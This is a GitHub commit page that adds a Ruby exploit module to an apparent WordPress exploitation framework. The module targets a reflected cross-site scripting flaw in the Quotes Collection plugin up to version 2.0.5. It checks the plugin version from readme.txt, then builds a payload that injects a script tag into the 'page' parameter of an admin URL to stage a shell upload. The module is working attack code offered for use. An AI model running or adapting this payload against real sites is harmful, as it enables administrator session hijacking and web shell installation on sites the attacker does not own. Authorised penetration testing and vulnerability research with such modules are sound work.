Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 4b3f44a

Browse files
committed
Add Quotes Collection <= 2.0.5 reflected XSS module
1 parent 79eead2 commit 4b3f44a

File tree

1 file changed

+36
-0
lines changed

1 file changed

+36
-0
lines changed
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
class Wpxf::Exploit::QuotesCollectionReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Quotes Collection <= 2.0.5 Reflected XSS Shell Upload',
9+
author: [
10+
'Yorick Koster', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8649'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_quotes_collection_wordpress_plugin.html']
16+
],
17+
date: 'Nov 08 2016'
18+
)
19+
end
20+
21+
def check
22+
changelog = normalize_uri(wordpress_url_plugins, 'quotes-collection', 'readme.txt')
23+
check_version_from_custom_file(changelog, /Version\s([\d\.]+)\*/, '2.0.6')
24+
end
25+
26+
def vulnerable_url
27+
normalize_uri(wordpress_url_admin, 'admin.php?page=quotes-collection')
28+
end
29+
30+
def initial_script
31+
create_basic_post_script(
32+
vulnerable_url,
33+
'page' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>"
34+
)
35+
end
36+
end

0 commit comments

Comments
 (0)